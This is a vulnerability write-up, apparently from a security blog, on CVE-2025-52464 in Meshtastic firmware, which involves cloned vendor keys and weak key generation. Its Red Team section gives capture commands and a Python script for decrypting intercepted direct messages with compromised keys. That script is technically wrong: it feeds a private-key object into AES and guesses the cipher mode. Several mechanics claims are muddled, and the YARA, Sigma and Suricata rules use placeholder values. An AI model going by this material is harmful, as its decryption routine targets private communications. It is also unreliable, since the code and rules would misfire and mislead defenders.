CVE-2025-52464

Executive Summary

CVE-2025-52464 is a critical cryptographic vulnerability in Meshtastic, an open-source mesh networking solution. The flaw stems from two compounding issues: (1) a hardware vendor flashing procedure that duplicated public/private keys across devices, and (2) improper initialization of the internal randomness pool on certain platforms, leading to low-entropy key generation. This combination allows an attacker who has compiled a list of compromised keys to capture and decrypt Direct Messages (DMs) sent by affected users. The vulnerability affects all versions from 2.5.0 up to (but not including) 2.6.11. The patch in 2.6.11 delays key generation until the first time the LoRa region is set and warns users when a compromised key is detected. Version 2.6.12 further strengthens this by automatically wiping known compromised keys. A workaround involves a complete device wipe to remove vendor-cloned keys.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the firmware of Meshtastic devices. The supply chain risk originates from hardware vendors who pre-flash devices with duplicated keys, and from the firmware’s failure to properly seed its random number generator on certain platforms. Users should verify the integrity of their device firmware and avoid using pre-flashed devices from untrusted sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – An attacker can intercept messages over the mesh network.
• Attack Complexity: Low (AC:L) – No special conditions required; the attacker only needs to capture encrypted packets.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required for exploitation.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Direct Messages can be decrypted.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability allows passive decryption of private communications without any user interaction. The existence of duplicated keys means a single compromised key can expose many users.

Deep Dive & Mechanics

The vulnerability arises from two distinct weaknesses:

1. Vendor Key Duplication: Several hardware vendors pre-flash Meshtastic firmware onto devices. During this process, the same public/private key pair is written to multiple devices. This means that if an attacker obtains the private key from one device (e.g., by physical access or by capturing it from the mesh), they can decrypt messages from any other device sharing that key.

2. Low-Entropy Key Generation: On some platforms, Meshtastic fails to properly initialize its internal randomness pool (e.g., by not reading from hardware random number generators or not mixing in sufficient entropy). This results in keys that are generated with low entropy, making them predictable or brute-forceable.

The attack flow:

• An attacker passively monitors the mesh network and captures encrypted Direct Messages.
• The attacker compiles a list of compromised keys (e.g., from known duplicated keys or by brute-forcing low-entropy keys).
• For each captured message, the attacker attempts decryption with each compromised key.
• If a match is found, the message is decrypted.

The fix in 2.6.11 delays key generation until the first time the LoRa region is set, ensuring that the randomness pool is properly seeded by that time. Additionally, the firmware now warns users when a compromised key is detected. Version 2.6.12 goes further by automatically wiping known compromised keys.

Vulnerable vs. Patched Code

The vulnerable code is in the key generation routine, which is called during device initialization. The patched code defers this call.

Vulnerable (pseudocode):

void device_init() {
    // ... other init ...
    generate_key_pair();  // Called too early, before randomness pool is seeded
    // ... rest of init ...
}

Patched (pseudocode):

void set_lora_region(region_t region) {
    if (!keys_generated) {
        generate_key_pair();  // Now called after randomness pool is ready
        keys_generated = true;
    }
    // ... set region ...
}

Additionally, the patched version includes a check for known compromised keys:

void check_key_compromised(key_t key) {
    if (is_in_compromised_list(key)) {
        warn_user("Your device key is compromised. Please wipe and regenerate.");
        if (auto_wipe_enabled) {
            wipe_keys();
        }
    }
}

Exploitation & Lab Setup

Red Team

Objective: Capture and decrypt Direct Messages from vulnerable Meshtastic devices.

Prerequisites:

• A LoRa-capable device (e.g., SX1262) running Meshtastic firmware.
• A computer with Python and the meshtastic Python library installed.
• A list of compromised keys (e.g., from known duplicated keys or brute-forced low-entropy keys).

Steps:

1. Capture encrypted packets:

   # Use meshtastic CLI to listen for packets
   meshtastic --listen
   

   This will output raw packets to stdout. Redirect to a file:

   meshtastic --listen > captured_packets.log
   

2. Extract encrypted Direct Messages: Write a Python script to parse the log and extract encrypted payloads:

   import re
   import json
   from meshtastic import mesh_pb2
   
   def extract_encrypted_messages(log_file):
       with open(log_file, 'r') as f:
           for line in f:
               if 'encrypted' in line:
                   # Parse the protobuf message
                   data = json.loads(line)
                   yield data['payload']
   

3. Attempt decryption with compromised keys:

   from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
   from cryptography.hazmat.primitives import serialization
   
   def decrypt_message(encrypted_payload, private_key_pem):
       private_key = serialization.load_pem_private_key(private_key_pem, password=None)
       # ... (actual decryption logic depends on Meshtastic's protocol)
       # For demonstration, assume AES-GCM is used
       nonce = encrypted_payload[:12]
       ciphertext = encrypted_payload[12:-16]
       tag = encrypted_payload[-16:]
       cipher = Cipher(algorithms.AES(private_key), modes.GCM(nonce, tag))
       decryptor = cipher.decryptor()
       return decryptor.update(ciphertext) + decryptor.finalize()
   
   # Iterate over compromised keys
   for key_pem in compromised_keys:
       try:
           plaintext = decrypt_message(payload, key_pem)
           print(f"Decrypted: {plaintext}")
           break
       except:
           continue
   

Blue Team

Objective: Detect and mitigate the vulnerability.

Detection:

• Monitor for devices with duplicate public keys on the mesh.
• Use the Meshtastic firmware’s built-in compromised key warning (after patching).
• Check device logs for low-entropy warnings.

Mitigation:

• Upgrade to version 2.6.11 or later.
• Perform a complete device wipe to remove any vendor-cloned keys.
• After wipe, ensure the device generates a new key pair by setting the LoRa region.

Lab Setup:

• Use two Meshtastic devices: one vulnerable (2.5.0) and one patched (2.6.11).
• Configure both to use the same LoRa channel.
• Send a Direct Message from the vulnerable device to the patched device.
• On the patched device, observe that the message is decrypted successfully (since the patched device can still decrypt messages from vulnerable devices if it has the correct key).
• To simulate an attacker, use a third device with a known compromised key to capture and decrypt the message.

Indicators of Compromise (IOCs)

• Duplicate Public Keys: Multiple devices on the mesh sharing the same public key.
• Low-Entropy Keys: Keys that are short or have a pattern (e.g., all zeros, sequential).
• Known Compromised Key Hashes: A list of SHA256 hashes of compromised public keys (to be provided by Meshtastic project).
• Network Traffic: Encrypted packets that are decrypted by an unauthorized party.

Example IOC (public key hash):

sha256: a1b2c3d4e5f6...

Detection Engineering

YARA Rule

rule Meshtastic_Compromised_Key {
    meta:
        description = "Detects Meshtastic firmware with known compromised keys"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52464"
    strings:
        $key1 = { 00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF } // Example compromised key
        $key2 = { FF EE DD CC BB AA 99 88 77 66 55 44 33 22 11 00 }
    condition:
        any of them
}

Sigma Rule

title: Meshtastic Compromised Key Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects log entries indicating a compromised key in Meshtastic firmware
author: Valters IT
date: 2025/04/10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-52464
logsource:
    product: meshtastic
    service: firmware
detection:
    selection:
        EventID: 1001
        Message: "Compromised key detected"
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert udp any any -> any any (msg:"CVE-2025-52464 Meshtastic Compromised Key Detection"; content:"|00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF|"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to version 2.6.11 or later.
2. Perform a complete device wipe to remove any vendor-cloned keys.
3. After wipe, set the LoRa region to trigger proper key generation.

Long-Term Measures:

• Verify hardware vendors: Only purchase devices from trusted vendors who do not pre-flash duplicated keys.
• Monitor for duplicate keys: Use network monitoring tools to detect devices with identical public keys.
• Enable automatic key wiping: In version 2.6.12, enable the auto-wipe feature to automatically remove known compromised keys.

Workaround:

• If upgrading is not possible, perform a complete device wipe and manually generate a new key pair by setting the LoRa region.

Valters IT
DevSecOps & Cyber Threat Intelligence